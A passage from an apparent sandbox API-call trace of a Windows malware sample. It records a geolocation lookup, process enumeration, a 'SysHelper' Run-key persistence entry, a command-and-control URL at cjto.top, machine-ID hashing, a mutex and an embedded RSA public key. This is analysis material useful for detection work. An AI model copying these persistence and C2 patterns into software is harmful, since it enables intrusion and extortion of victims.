MemoryPointer=0x832ee0) returned 0x80 [0106.663] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x832ee0) returned 0x80 [0106.664] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x832ee0) returned 0x80 [0106.664] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x8ec) returned 0x833fc0 [0106.664] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x832ee0) returned 0x80 [0106.664] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x10) returned 0x830cb0 [0106.664] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x832ee0) returned 0x80 [0106.664] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x832ee0) returned 0x80 [0106.665] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x832ee0) returned 0x80 [0106.665] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x832ee0) returned 0x80 [0106.666] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0106.805] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x825ed8 [0106.805] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0120.202] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18be18, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x18e618 | out: lpBuffer=0x18be18*, lpdwNumberOfBytesRead=0x18e618*=0x1d0) returned 1 [0120.203] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0120.205] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0120.205] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x8402d0 [0120.205] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x1e0) returned 0x8658a8 [0120.205] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8658a8 | out: hHeap=0x810000) returned 1 [0120.205] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8402d0 | out: hHeap=0x810000) returned 1 [0120.205] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x825ed8 | out: hHeap=0x810000) returned 1 [0120.205] GetCurrentProcess () returned 0xffffffff [0120.205] GetLastError () returned 0x2 [0120.205] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0120.205] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x10) returned 0x865360 [0120.205] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x8ec) returned 0x34546b0 [0120.205] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x800) returned 0x3454fa8 [0120.205] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3454fa8, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe")) returned 0x6e [0120.205] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa") returned 1 [0120.205] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x34557b0 [0120.205] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe\" --AutoStart" [0120.205] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe\" --AutoStart", pNumArgs=0x18e6f8 | out: pNumArgs=0x18e6f8) returned 0x3467fb0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe" [0120.205] lstrcpyW (in: lpString1=0x18f388, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe" [0120.206] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe\" --AutoStart" [0120.206] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe\" --AutoStart", pNumArgs=0x18e694 | out: pNumArgs=0x18e694) returned 0x3467fb0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe" [0120.206] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe") returned="host1506_2020-06-15_14-07.exe" [0120.206] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76fe0000 [0120.206] GetProcAddress (hModule=0x76fe0000, lpProcName="EnumProcesses") returned 0x0 [0120.207] GetProcAddress (hModule=0x76fe0000, lpProcName="EnumProcessModules") returned 0x0 [0120.207] GetProcAddress (hModule=0x76fe0000, lpProcName="GetModuleBaseNameW") returned 0x0 [0120.207] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x77bd0000 [0120.208] GetProcAddress (hModule=0x77bd0000, lpProcName="EnumProcesses") returned 0x77bd1544 [0120.208] GetProcAddress (hModule=0x77bd0000, lpProcName="EnumProcessModules") returned 0x77bd1408 [0120.208] GetProcAddress (hModule=0x77bd0000, lpProcName="GetModuleBaseNameW") returned 0x77bd152c [0120.208] EnumProcesses (in: lpidProcess=0x183e90, cb=0xa000, lpcbNeeded=0x18e6a0 | out: lpidProcess=0x183e90, lpcbNeeded=0x18e6a0) returned 1 [0120.211] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0120.211] CloseHandle (hObject=0x0) returned 0 [0120.211] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0120.211] CloseHandle (hObject=0x0) returned 0 [0120.211] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x108) returned 0x0 [0120.211] CloseHandle (hObject=0x0) returned 0 [0120.211] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14c) returned 0x0 [0120.211] CloseHandle (hObject=0x0) returned 0 [0120.211] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0120.211] CloseHandle (hObject=0x0) returned 0 [0120.211] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0120.211] CloseHandle (hObject=0x0) returned 0 [0120.211] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0120.211] CloseHandle (hObject=0x0) returned 0 [0120.211] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d4) returned 0x0 [0120.211] CloseHandle (hObject=0x0) returned 0 [0120.211] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1dc) returned 0x0 [0120.211] CloseHandle (hObject=0x0) returned 0 [0120.211] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1e4) returned 0x0 [0120.211] CloseHandle (hObject=0x0) returned 0 [0120.211] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x254) returned 0x0 [0120.211] CloseHandle (hObject=0x0) returned 0 [0120.211] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0120.211] CloseHandle (hObject=0x0) returned 0 [0120.212] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0x0 [0120.212] CloseHandle (hObject=0x0) returned 0 [0120.212] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x33c) returned 0x0 [0120.212] CloseHandle (hObject=0x0) returned 0 [0120.212] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x370) returned 0x0 [0120.212] CloseHandle (hObject=0x0) returned 0 [0120.212] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3ac) returned 0x0 [0120.212] CloseHandle (hObject=0x0) returned 0 [0120.212] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3fc) returned 0x0 [0120.212] CloseHandle (hObject=0x0) returned 0 [0120.212] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x30c) returned 0x5a0 [0120.212] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 0 [0120.212] CloseHandle (hObject=0x5a0) returned 1 [0120.212] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x378) returned 0x5a0 [0120.212] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 0 [0120.212] CloseHandle (hObject=0x5a0) returned 1 [0120.212] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x414) returned 0x5a0 [0120.212] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 0 [0120.213] CloseHandle (hObject=0x5a0) returned 1 [0120.213] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x448) returned 0x0 [0120.213] CloseHandle (hObject=0x0) returned 0 [0120.213] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4b4) returned 0x0 [0120.213] CloseHandle (hObject=0x0) returned 0 [0120.213] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d4) returned 0x5a0 [0120.213] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 0 [0120.213] CloseHandle (hObject=0x5a0) returned 1 [0120.213] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e8) returned 0x0 [0120.213] CloseHandle (hObject=0x0) returned 0 [0120.213] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x56c) returned 0x5a0 [0120.213] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0120.214] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x400000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="host1506_2020-06-15_14-07.exe") returned 0x1d [0120.214] CloseHandle (hObject=0x5a0) returned 1 [0120.214] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5b8) returned 0x5a0 [0120.214] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 1 [0120.215] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x400000, lpBaseName=0x18de90, nSize=0x400 | out: lpBaseName="reader_sl.exe") returned 0xd [0120.216] CloseHandle (hObject=0x5a0) returned 1 [0120.216] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5ac) returned 0x5a0 [0120.216] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e6ac, cb=0x4, lpcbNeeded=0x18e690 | out: lphModule=0x18e6ac, lpcbNeeded=0x18e690) returned 0 [0120.216] CloseHandle (hObject=0x5a0) returned 1 [0120.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x28) returned 0x83a8c8 [0120.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x8658a8 [0120.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x34385e0 [0120.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x347b2f0 [0120.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x3449dd8 [0120.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x867d88 [0120.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x867ff0 [0120.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x3455fc8 [0120.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x3456230 [0120.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x3456498 [0120.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x3456700 [0120.216] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18e690 | out: phkResult=0x18e690*=0x5a0) returned 0x0 [0120.216] RegQueryValueExW (in: hKey=0x5a0, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18e68c, lpData=0x18cdb8, lpcbData=0x18e670*=0x400 | out: lpType=0x18e68c*=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe\" --AutoStart", lpcbData=0x18e670*=0xfa) returned 0x0 [0120.216] RegCloseKey (hKey=0x5a0) returned 0x0 [0120.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x100) returned 0x847220 [0120.216] lstrlenA (lpString="\" --AutoStart") returned 13 [0120.216] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xe0) returned 0x34717b0 [0120.216] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x847220 | out: hHeap=0x810000) returned 1 [0120.216] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\e4b0f3b7-999e-4a7c-b0ab-22561b488cfa\\host1506_2020-06-15_14-07.exe") returned 1 [0120.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xe0) returned 0x3471898 [0120.217] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34717b0 | out: hHeap=0x810000) returned 1 [0120.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x28) returned 0x346ff30 [0120.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x3456968 [0120.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x3456bd0 [0120.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x3456e38 [0120.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x34570a0 [0120.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x3457308 [0120.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x3457570 [0120.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x343c9f0 [0120.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x343cc58 [0120.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x343cec0 [0120.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x343d128 [0120.217] lstrlenA (lpString="http://cjto.top/yyyxxx1/get.php") returned 31 [0120.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3438e20 [0120.217] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3456968, cbMultiByte=-1, lpWideCharStr=0x3438e20, cchWideChar=32 | out: lpWideCharStr="http://cjto.top/yyyxxx1/get.php") returned 32 [0120.217] lstrcatW (in: lpString1="", lpString2="http://cjto.top/yyyxxx1/get.php" | out: lpString1="http://cjto.top/yyyxxx1/get.php") returned="http://cjto.top/yyyxxx1/get.php" [0120.217] lstrlenA (lpString="") returned 0 [0120.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x2) returned 0x33f0128 [0120.217] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3456bd0, cbMultiByte=-1, lpWideCharStr=0x33f0128, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.217] lstrcatW (in: lpString1="http://cjto.top/yyyxxx1/get.php", lpString2="" | out: lpString1="http://cjto.top/yyyxxx1/get.php") returned="http://cjto.top/yyyxxx1/get.php" [0120.217] lstrlenA (lpString="") returned 0 [0120.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x2) returned 0x33f0178 [0120.217] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3456e38, cbMultiByte=-1, lpWideCharStr=0x33f0178, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.217] lstrcatW (in: lpString1="http://cjto.top/yyyxxx1/get.php", lpString2="" | out: lpString1="http://cjto.top/yyyxxx1/get.php") returned="http://cjto.top/yyyxxx1/get.php" [0120.217] lstrlenA (lpString="") returned 0 [0120.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x2) returned 0x33f0188 [0120.217] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x34570a0, cbMultiByte=-1, lpWideCharStr=0x33f0188, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.217] lstrcatW (in: lpString1="http://cjto.top/yyyxxx1/get.php", lpString2="" | out: lpString1="http://cjto.top/yyyxxx1/get.php") returned="http://cjto.top/yyyxxx1/get.php" [0120.217] lstrlenA (lpString="") returned 0 [0120.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x2) returned 0x33f0118 [0120.217] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3457308, cbMultiByte=-1, lpWideCharStr=0x33f0118, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.217] lstrcatW (in: lpString1="http://cjto.top/yyyxxx1/get.php", lpString2="" | out: lpString1="http://cjto.top/yyyxxx1/get.php") returned="http://cjto.top/yyyxxx1/get.php" [0120.217] lstrlenA (lpString="") returned 0 [0120.218] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x2) returned 0x33f0138 [0120.218] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3457570, cbMultiByte=-1, lpWideCharStr=0x33f0138, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.218] lstrcatW (in: lpString1="http://cjto.top/yyyxxx1/get.php", lpString2="" | out: lpString1="http://cjto.top/yyyxxx1/get.php") returned="http://cjto.top/yyyxxx1/get.php" [0120.218] lstrlenA (lpString="") returned 0 [0120.218] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x2) returned 0x33f0148 [0120.218] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x343c9f0, cbMultiByte=-1, lpWideCharStr=0x33f0148, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.218] lstrcatW (in: lpString1="http://cjto.top/yyyxxx1/get.php", lpString2="" | out: lpString1="http://cjto.top/yyyxxx1/get.php") returned="http://cjto.top/yyyxxx1/get.php" [0120.218] lstrlenA (lpString="") returned 0 [0120.218] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x2) returned 0x33f0158 [0120.218] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x343cc58, cbMultiByte=-1, lpWideCharStr=0x33f0158, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.218] lstrcatW (in: lpString1="http://cjto.top/yyyxxx1/get.php", lpString2="" | out: lpString1="http://cjto.top/yyyxxx1/get.php") returned="http://cjto.top/yyyxxx1/get.php" [0120.218] lstrlenA (lpString="") returned 0 [0120.218] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x2) returned 0x33f0168 [0120.218] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x343cec0, cbMultiByte=-1, lpWideCharStr=0x33f0168, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.218] lstrcatW (in: lpString1="http://cjto.top/yyyxxx1/get.php", lpString2="" | out: lpString1="http://cjto.top/yyyxxx1/get.php") returned="http://cjto.top/yyyxxx1/get.php" [0120.218] lstrlenA (lpString="") returned 0 [0120.218] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x2) returned 0x33f0198 [0120.218] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x343d128, cbMultiByte=-1, lpWideCharStr=0x33f0198, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.218] lstrcatW (in: lpString1="http://cjto.top/yyyxxx1/get.php", lpString2="" | out: lpString1="http://cjto.top/yyyxxx1/get.php") returned="http://cjto.top/yyyxxx1/get.php" [0120.218] lstrlenW (lpString="") returned 0 [0120.218] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x12) returned 0x8592a0 [0120.218] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x288) returned 0x34577d8 [0120.218] GetAdaptersInfo (in: AdapterInfo=0x34577d8, SizePointer=0x18e654 | out: AdapterInfo=0x34577d8, SizePointer=0x18e654) returned 0x0 [0120.239] GetAdaptersInfo (in: AdapterInfo=0x34577d8, SizePointer=0x18e654 | out: AdapterInfo=0x34577d8, SizePointer=0x18e654) returned 0x0 [0120.242] GetLastError () returned 0x0 [0120.242] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x1000) returned 0x3484e70 [0120.242] GetLastError () returned 0x0 [0120.242] GetLastError () returned 0x0 [0120.248] CryptAcquireContextW (in: phProv=0x18e624, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18e624*=0x865f38) returned 1 [0120.249] CryptCreateHash (in: hProv=0x865f38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18e62c | out: phHash=0x18e62c) returned 1 [0120.249] CryptHashData (hHash=0x83ed90, pbData=0x3437c20, dwDataLen=0x11, dwFlags=0x0) returned 1 [0120.250] CryptGetHashParam (in: hHash=0x83ed90, dwParam=0x2, pbData=0x0, pdwDataLen=0x18e628, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18e628) returned 1 [0120.250] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x11) returned 0x8597a0 [0120.250] CryptGetHashParam (in: hHash=0x83ed90, dwParam=0x2, pbData=0x8597a0, pdwDataLen=0x18e628, dwFlags=0x0 | out: pbData=0x8597a0, pdwDataLen=0x18e628) returned 1 [0120.250] GetLastError () returned 0x0 [0120.250] CryptDestroyHash (hHash=0x83ed90) returned 1 [0120.250] CryptReleaseContext (hProv=0x865f38, dwFlags=0x0) returned 1 [0120.250] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3437c20 | out: hHeap=0x810000) returned 1 [0120.250] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470bd8 [0120.250] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x87c570 | out: hHeap=0x810000) returned 1 [0120.250] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8402d0 | out: hHeap=0x810000) returned 1 [0120.250] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x61a8000, lpStartAddress=0x41e690, lpParameter=0x513270, dwCreationFlags=0x0, lpThreadId=0x51325c | out: lpThreadId=0x51325c*=0x230) returned 0x5ac [0120.462] WaitForSingleObject (hHandle=0x5ac, dwMilliseconds=0xffffffff) returned 0x0 [0122.572] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}") returned 0x5b0 [0122.573] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x28) returned 0x346ff00 [0122.573] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x343d390 [0122.573] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x343d5f8 [0122.573] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x343d860 [0122.573] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x343dac8 [0122.573] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x343dd30 [0122.573] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x343df98 [0122.573] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x343e200 [0122.573] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x343e468 [0122.573] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x343e6d0 [0122.573] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x343e938 [0122.573] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x3e0) returned 0x34577d8 [0122.573] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x5ee) returned 0x34862c8 [0122.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n", cchWideChar=-1, lpMultiByteStr=0x34862c8, cbMultiByte=1518, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n", lpUsedDefaultChar=0x0) returned 495 [0122.573] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, 